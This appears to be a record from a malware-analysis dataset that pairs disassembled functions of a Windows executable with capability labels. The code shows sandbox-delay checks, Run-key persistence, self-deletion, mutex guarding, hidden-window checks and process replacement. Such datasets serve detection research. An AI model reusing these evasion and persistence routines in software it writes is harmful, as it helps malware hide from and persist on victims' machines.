joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402660
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 8], 1
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
or eax, 0xffffffff
cmp dword [ebp - 4], eax
je 0x4026f6
push esi
push edi
mov dword [ebp - 0x130], 0x128
mov edi, 0x4060e0
lea eax, [ebp - 0x130]
xor esi, esi
cmp dword [ebp - 8], esi
push eax
push dword [ebp - 4]
je 0x4026af
call sub.KERNEL32.dll_Process32First
jmp 0x4026b4
call sub.KERNEL32.dll_Process32Next
cmp eax, esi
je 0x4026e9
cmp dword [str.ad_watch], esi
mov dword [ebp - 8], esi
je 0x402697
mov eax, edi
mov esi, edi
push dword [eax]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHELL32.dll_StrStrIA]
test eax, eax
je 0x4026dd
or ebx, dword [esi + 4]
add esi, 8
mov eax, esi
cmp dword [esi], 0
jne 0x4026c7
jmp 0x402697
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x4026f9
Capabilities:
Initialize iwebbrowser2

Disassembly:
push 0x407314
push 0x406878
push 5
push 0
push 0x406868
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x402750
mov eax, dword [0x407314]
test eax, eax
je 0x402750
cmp dword [esp + 4], 0
mov ecx, dword [eax]
je 0x402743
push 0
push eax
call dword [ecx + 0xa4]
mov eax, dword [0x407314]
push 0xffffffffffffffff
push eax
mov ecx, dword [eax]
call dword [ecx + 0xf0]
jmp 0x40274c
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
push 1
pop eax
ret
or eax, 0xffffffff
ret

Function at 0x402754
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
mov ebx, eax
mov eax, dword [0x407314]
lea edx, [ebp - 4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0xe0]
test eax, eax
jl 0x4027b0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
xor edx, edx
mov ecx, 0x3e8
div ecx
sub eax, ebx
cmp eax, dword [ebp + 8]
jg 0x4027b0
push 1
pop eax
cmp dword [ebp - 4], eax
je 0x40276d
cmp dword [ebp - 4], 3
je 0x40276d
jmp 0x4027b2
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x402b20
Capabilities:
Get file size

Disassembly:
push ebx
push esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [esp + 0x24]
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebx
je 0x402b5a
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, ebx
je 0x402b53
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x402b90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0x2e
push 0
push dword [esp + 0xc]
call dword [sym.imp.SHELL32.dll_StrRChrA]
test eax, eax
jne 0x402ba6
or eax, 0xffffffff
ret
mov byte [eax], 0x20
inc eax
mov byte [eax], 0x2e
inc eax
mov byte [eax], 0x65
inc eax
mov byte [eax], 0x78
inc eax
mov byte [eax], 0x65
and byte [eax + 1], 0
cmp dword [esp + 8], 0
jne 0x402bc8
push 1
pop eax
ret
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x402bdd
Capabilities:
Check if file exists
Copy file
Get common file path
Get file attributes
Move file
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.SHELL32.dll_StrChrA]
push edi
push 0x25
push ebx
call esi
test eax, eax
mov edi, 0x400
je 0x402c24
lea eax, [ebp - 0x60c]
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x402c24
lea eax, [ebp - 0x60c]
push edi
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
cmp byte [ebx], 0x22
jne 0x402c2a
inc ebx
push 0x22
push ebx
call esi
test eax, eax
je 0x402c36
and byte [eax], 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402d7b
mov esi, 0x407318
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x402d7b
push esi
push ebx
call fcn.00402b5f
pop ecx
test eax, eax
pop ecx
jne 0x402d7b
lea eax, [ebp - 0x20c]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, dword [sym.imp.SHELL32.dll_StrStrIA]
test eax, eax
je 0x402c96
lea eax, [ebp - 0x20c]
push eax
push ebx
call edi
test eax, eax
jne 0x402d7b
push 0
lea eax, [ebp - 0x108]
push 0x14
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x402cbf
lea eax, [ebp - 0x108]
push eax
push ebx
call edi
test eax, eax
jne 0x402d7b
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x60c]
push esi
push eax
call edi
lea eax, [ebp - 0xa0c]
push ebx
push eax
call edi
lea eax, [ebp - 0xa0c]
push 1
push eax
call fcn.00402b90
pop ecx
test eax, eax
pop ecx
jne 0x402d7b
lea eax, [ebp - 0xa0c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x402d7b
push 1
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x402d7b
xor esi, esi
push esi
push 0x80
push 3
push esi
push esi
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402d62
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x402d5b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 8], eax
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp + 8]
push 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x407718], esi
jne 0x402d76
push ebx
call dword [sym.imp.SHLWAPI.dll_StrDupA]
mov dword [0x407718], eax
push 1
pop eax
jmp 0x402d7d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d82
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
mov esi, 0x400
push esi
lea eax, [ebp - 0x410]
push edi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x410]
push eax
push edi
lea eax, [ebp - 0x10]
push edi
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
cmp dword [ebp - 0xc], edi
mov ebx, eax
je 0x402dfe
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x402dfe
lea eax, [ebp - 0x410]
push eax
call fcn.00402bdd
add dword [ebp - 8], eax
pop ecx
inc dword [ebp - 4]
cmp ebx, edi
je 0x402d9b
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402e0d
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
mov esi, 0x407318
push 1
push esi
call fcn.00402b90
pop ecx
cmp eax, 1
pop ecx
jne 0x402e6d
push 0x3c
lea eax, [ebp - 0x3c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x38], 0x400
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
and dword [ebp - 0x20], 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov eax, dword [ebp + 8]
test eax, eax
je 0x402e6d
mov dword [eax], 1
pop esi
leave
ret

Function at 0x402e70
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push esi
push edi
mov esi, str.DEL:
lea edi, [ebp - 0x400]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xfe
xor eax, eax
lea edi, [ebp - 0x3fb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
cmp dword [ebp + 8], edi
je 0x402ede
mov esi, 0x407318
push 0x400
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x400]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
lea eax, [ebp - 0x400]
push edi
push eax
push dword [ebp + 8]
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402f00
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call dword [sym.imp.SHELL32.dll_StrStrA]
cmp eax, edi
je 0x402f00
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
leave
ret
Function at 0x402f04
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push 0x400
push 0x407318
push ebx
mov dword [ebp - 0xc], 0x80000001
mov dword [ebp - 8], 0x80000002
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
cmp eax, 0x78
jbe 0x402f87
push esi
push edi
push 2
lea esi, [ebp - 0xc]
pop edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402f7f
push dword [ebp - 4]
call fcn.00402d82
pop ecx
add ebx, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 4
dec edi
jne 0x402f4f
pop edi
pop esi
push dword [0x407718]
call fcn.00402e70
push dword [ebp + 8]
call fcn.00402e0d
pop ecx
mov eax, ebx
pop ecx
pop ebx
leave
ret

Function at 0x403052
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
xor edi, edi
push 0x104
lea eax, [ebp - 0x108]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x108]
push edi
push 0x23
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x40309b
lea eax, [ebp - 0x108]
push 0x400
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x108]
push eax
call esi
mov byte [ebp + eax - 0x108], 0x5c
lea eax, [ebp - 0x108]
push eax
call esi
lea esi, [ebp + eax - 0x108]
call fcn.004042f6
call fcn.004042d8
push 4
cdq
pop ecx
idiv ecx
add edx, 6
cmp edx, edi
jle 0x403130
push ebx
mov bl, byte [ebp - 1]
mov edi, edx
call fcn.004042d8
push 3
cdq
pop ecx
idiv ecx
sub edx, 0
je 0x403119
dec edx
je 0x403107
dec edx
jne 0x403129
call fcn.004042d8
push 9
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x30
jmp 0x403129
call fcn.004042d8
push 0x19
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x41
jmp 0x403129
call fcn.004042d8
push 0x19
cdq
pop ecx
idiv ecx
mov ebx, edx
add bl, 0x61
mov byte [esi], bl
inc esi
dec edi
jne 0x4030df
pop ebx
push 4
push str..dat
push esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_StrDupA]
pop edi
pop esi
leave
ret
Function at 0x403151
Capabilities:
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call fcn.00403052
cmp eax, edi
mov dword [ebp - 8], eax
je 0x4031d5
push 0x32
lea eax, [ebp - 0x118]
push 0x407728
push eax
call fcn.00401c4e
push dword [ebp - 8]
call fcn.00402b20
add esp, 0x10
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
je 0x4031d5
cmp eax, 0x70
jb 0x4031d5
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x70
push 8
push dword [0x407720]
call ebx
mov esi, eax
cmp esi, edi
je 0x403327
push edi
push edi
push 3
push edi
push 1
push 0x80000000
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x4031dc
xor eax, eax
jmp 0x40333a
lea ecx, [ebp - 4]
push edi
push ecx
push 0x70
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40330b
cmp dword [ebp - 4], 0x70
jne 0x40330b
push 0x70
lea eax, [ebp - 0x118]
push esi
push eax
call fcn.00401ca9
add esp, 0xc
cmp dword [esi + 0x18], 0x10
jg 0x403302
cmp dword [esi], edi
jl 0x403302
cmp dword [esi + 0x6c], edi
jne 0x403302
mov dword [0x40771c], esi
cmp dword [esi + 0x68], edi
mov dword [ebp - 0xc], esi
je 0x40330b
mov eax, dword [ebp - 0x14]
cmp eax, 0x70
jbe 0x40330b
add eax, 0xffffff91
push eax
push 8
push dword [0x407720]
call ebx
cmp eax, edi
mov dword [esi + 0x6c], eax
je 0x40330b
mov ecx, dword [ebp - 0x14]
push edi
lea ebx, [ecx - 0x70]
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4032ea
cmp dword [ebp - 4], ebx
jne 0x4032ea
push dword [ebp - 4]
lea eax, [ebp - 0x118]
push dword [esi + 0x6c]
push eax
call fcn.00401ca9
call fcn.00401c1f
mov eax, dword [ebp - 4]
mov ebx, dword [esi + 0x6c]
add eax, 0xfffffffc
push eax
lea eax, [ebx + 4]
push eax
call fcn.00401bec
add esp, 0x14
cmp eax, dword [ebx]
je 0x4032c6
push dword [esi + 0x6c]
push edi
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x68], edi
jmp 0x4032fd
mov eax, dword [ebp - 4]
add eax, 0xfffffffc
push eax
mov eax, dword [esi + 0x6c]
add eax, 4
push eax
call fcn.00401a97
pop ecx
cmp eax, 1
pop ecx
je 0x40330b
mov eax, dword [0x40771c]
mov dword [eax + 0x64], edi
jmp 0x40330b
push dword [esi + 0x6c]
mov dword [esi + 0x68], edi
push edi
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x6c], edi
jmp 0x40330b
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], edi
jne 0x403327
push esi
push edi
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 8]
push edi
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40333f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push ebx
push esi
push edi
mov edi, dword [0x40771c]
xor esi, esi
cmp edi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
je 0x40337f
call fcn.00403052
cmp eax, esi
mov dword [ebp - 0x1c], eax
je 0x4033b2
push 0x71
push 8
push dword [0x407720]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, esi
jne 0x403387
or eax, 0xffffffff
jmp 0x4034cf
push 0x70
push edi
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov dword [ebx + 0x6c], esi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jne 0x4033b9
xor eax, eax
jmp 0x4034cf
push 0x32
lea eax, [ebp - 0x120]
push 0x407728
push eax
call fcn.00401c4e
call fcn.00401bcf
mov dword [ebx + 0x68], eax
push 0x70
lea eax, [ebp - 0x120]
push ebx
push eax
call fcn.00401ca9
add esp, 0x18
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 4]
push esi
push eax
push 0x70
push ebx
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x4034a7
cmp dword [ebp - 4], 0x70
jne 0x4034a7
mov dword [ebp - 0xc], 1
call fcn.00401bcf
test eax, eax
je 0x4034a7
lea eax, [ebp - 8]
push eax
call fcn.00401b14
cmp eax, esi
pop ecx
mov dword [ebp - 0x14], eax
je 0x4034a3
call fcn.00401c1f
push dword [ebp - 8]
push dword [ebp - 0x14]
call fcn.00401bec
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push 4
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00401ca9
add esp, 0x14
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x4034a3
cmp dword [ebp - 4], 4
jne 0x4034a3
push dword [ebp - 8]
lea eax, [ebp - 0x120]
push dword [ebp - 0x14]
push eax
call fcn.00401ca9
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call edi
test eax, eax
je 0x4034a3
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
je 0x4034a7
or dword [ebp - 0xc], 0xffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push esi
push dword [0x407720]
call edi
push dword [ebp - 0x1c]
push esi
push dword [0x407720]
call edi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403622
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
xor edi, edi
neg esi
sbb esi, esi
and esi, 0x3e5
inc esi
inc esi
test esi, esi
jle 0x403676
lea eax, [ebp + 8]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test byte [ebp + 8], 1
je 0x40365b
mov dword [0x407770], 1
test byte [ebp + 8], 0x20
je 0x403673
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, esi
jl 0x40363f
jmp 0x403676
push 1
pop ebx
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret
Function at 0x40367d
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push 1
push eax
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.j5o25jSFws
lea eax, [ebp - 0xc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
mov dword [0x407724], eax
jne 0x4036ce
or eax, 0xffffffff
leave
ret
push esi
mov esi, dword [ebp + 8]
imul esi, esi, 0x3e8
push esi
push dword [0x407724]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x80
je 0x4036d8
test eax, eax
pop esi
jne 0x4036f6
push 1
pop eax
leave
ret
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
dec ecx
mov eax, ecx
leave
ret

Function at 0x403ae4
Capabilities:
Enumerate gui resources
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x830
push ebx
push esi
push edi
xor ebx, ebx
push 0x28
lea eax, [ebp - 0x30]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x403a64
push ebx
call edi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x30]
mov esi, str.Basic_Window
push eax
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0xc], esi
call dword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
je 0x403c27
push ebx
push ebx
call edi
push eax
push ebx
mov eax, 0x80000000
push ebx
push eax
push eax
push eax
push eax
mov edi, str.Blank_Window
push 0xcf0000
push edi
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x403c27
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 9
push dword [ebp - 4]
mov dword [ebp - 8], eax
call esi
test eax, eax
jne 0x403b8b
push ebx
push dword [ebp - 4]
call esi
push ebx
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x430]
push 0x400
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x430]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x403c27
mov esi, str.hello2
lea edi, [ebp - 0x830]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0xfe
lea edi, [ebp - 0x829]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x830]
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowTextA]
lea eax, [ebp - 0x430]
push 0x400
push eax
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0x430]
push str.hello2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x403c27
push eax
push 0x403a91
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x403c2b
xor eax, eax
jmp 0x403c3b
push 0
push 0x40778c
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403c40
Capabilities:
Execute shellcode via indirect call
Parse pe header
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
push esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x403d38
call fcn.004039a6
test eax, eax
jne 0x403d38
call fcn.00403ae4
push 1
pop edi
cmp eax, edi
jne 0x403d38
push ebx
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x407728
mov dword [0x407720], eax
call fcn.004043e3
lea eax, [ebp - 0xc]
push eax
call fcn.00402f04
cmp dword [ebp - 0xc], esi
pop ecx
pop ecx
mov ebx, eax
jne 0x403cc8
cmp dword [ebp - 8], esi
jne 0x403cc8
push ebx
push edi
mov dword [0x407784], esi
call fcn.00403621
pop ecx
pop ecx
jmp 0x403cce
mov dword [0x407784], edi
cmp dword [ebp - 8], edi
je 0x403cd7
cmp ebx, esi
je 0x403cda
mov dword [ebp - 4], edi
push 5
call fcn.0040367d
pop ecx
cmp eax, edi
pop ebx
jne 0x403d2c
call fcn.004034d4
call fcn.004044e4
mov dword [0x407774], eax
mov eax, dword [0x40771c]
cmp eax, esi
je 0x403d04
cmp dword [eax + 0x64], esi
jne 0x403d09
call fcn.00401bb1
xor eax, eax
cmp dword [ebp - 4], esi
sete al
push eax
call fcn.00403622
test eax, eax
pop ecx
je 0x403d25
push dword [ebp - 4]
call fcn.00403898
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [0x407724]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]